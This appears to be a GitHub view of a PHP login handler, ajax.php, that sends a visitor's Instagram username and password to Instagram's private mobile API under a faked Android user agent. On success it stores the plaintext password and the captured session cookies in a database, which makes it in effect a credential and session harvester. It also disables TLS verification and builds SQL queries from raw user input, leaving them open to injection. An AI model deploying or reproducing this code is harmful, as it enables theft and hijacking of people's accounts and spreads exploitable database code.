Repository navigation
Expand file tree
/
Copy pathajax.php
More file actions
135 lines (103 loc) · 3.99 KB
/
Copy pathajax.php
File metadata and controls
135 lines (103 loc) · 3.99 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
<?php
session_start();
include 'conn.php';
$isUserLoggedIn = isset($_SESSION['username'] ) ? true : false;
if ($isUserLoggedIn) {
// Is Login Done
header("Location: home.php");
exit;
}
if (empty($_POST['Username']) && empty($_POST['Password']) ) {
if( isset($_POST['Username']) == ' ' & isset($_POST['Password']) == ' ' ) {
$msg = "<p style='color:red;'> Please write your username and password.</p> <br>";
echo json_encode(['status'=>'error', 'msg'=>$msg]);
exit;
}
}else {
$Username = $_POST['Username'];
$Password = $_POST['Password'];
echo login($Username,$Password);
}
function login($Username,$Password)
{
$url = "https://i.instagram.com/api/v1/accounts/login/";
$hasss = hash_hmac("sha256","{\"phone_id\":\"","5ad7d6f013666cc93c88fc8af940348bd067b68f0dce3c85122a923f4f74b251").".";
$postVars = array(
'signed_body' => $hasss.'{"phone_id":"'.GUID().'","username":"'.$Username.'","guid":"'.GUID().'","device_id":"android-'.GUID().'","password":"'
.$Password.'","login_attempt_count":"0"}',
'ig_sig_key_version'=>'5'
);
$postStr = http_build_query($postVars);
$options = array(
'http' =>
array(
'ignore_errors' => true,
'method' => 'POST',
'header' => 'Content-type: application/x-www-form-urlencoded; charset=UTF-8',
'content' => $postStr,
'user_agent'=>'Instagram 10.3.2 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)'
),
'ssl'=>
array(
'verify_peer'=>false,
'verify_peer_name'=>false,
)
);
$streamContext = stream_context_create($options);
$result = file_get_contents($url, false, $streamContext);
if(strpos($result,'"status": "ok"') === false)
{
$Array = json_decode($result);
$msgJeson = $Array->message;
$msg = "<p style='color:red;'> " . $msgJeson . "</p> <br>";
echo json_encode(['status'=>'error', 'msg'=>$msg]);
exit;
}
else {
$cookies = array();
foreach ($http_response_header as $hdr) {
if (preg_match('/^Set-Cookie:\s*([^;]+)/', $hdr, $matches)) {
parse_str($matches[1], $tmp);
$cookies += $tmp;
}
}
$cookiesStr = "";
foreach($cookies as $key => $value) {
$cookiesStr = $cookiesStr.$key.'='.$value.';';
}
// Successful login Run Code
include 'conn.php';
$_SESSION['username'] = $Username;
$sql = "SELECT username FROM username where username = '$Username' ";
$result = $conn->query($sql);
if ($result->num_rows == 0) {
$sql = "INSERT INTO username (username, password, cookie ,time )
VALUES ('$Username', '$Password', '$cookiesStr' , now() ) ";
$conn->query($sql);
$conn->close();
$msg = "<p style='color:#4CAF50;'> Successful login .</p> <br>";
echo json_encode(['status'=>'done', 'msg'=>$msg]);
} else {
$sql = "UPDATE username SET password = '$Password', cookie = '$cookiesStr' ,time = now() WHERE username = '$Username' ";
$conn->query($sql);
$conn->close();
$msg = "<p style='color:#4CAF50;'> Welcome Back " . $Username . " login .</p> <br>";
echo json_encode(['status'=>'done', 'msg'=>$msg]);
}
exit;
// end Login Ssc
}
return $result;
}
function GUID()
{
if (function_exists('com_create_guid') === true)
{
return trim(com_create_guid(), '{}');
}
return sprintf('%04X%04X-%04X-%04X-%04X-%04X%04X%04X', mt_rand(0, 65535),
mt_rand(0, 65535), mt_rand(0, 65535),
mt_rand(16384, 20479), mt_rand(32768, 49151),
mt_rand(0, 65535), mt_rand(0, 65535), mt_rand(0, 65535));
}
?>